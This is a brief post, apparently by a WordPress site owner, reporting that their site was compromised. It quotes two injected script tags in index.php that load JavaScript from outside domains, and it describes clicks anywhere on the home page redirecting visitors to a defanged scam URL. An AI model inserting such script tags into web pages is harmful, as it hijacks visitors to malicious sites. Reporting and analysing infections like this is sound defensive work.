script type="text/javascript" src="http://jacintocosta.com.br/apache/ " > < / script
just found hxxp://www.juste-been-paid.kit.net/ popping up when clicking on wp stats from jetpack
and the code in the index.php
< script type="text/javascript" src="http://geistsweden.eu/wp-cache/" >
it looks like it was not realated to wp stats but when ever any space on the home page was clicked it sent the user to the link above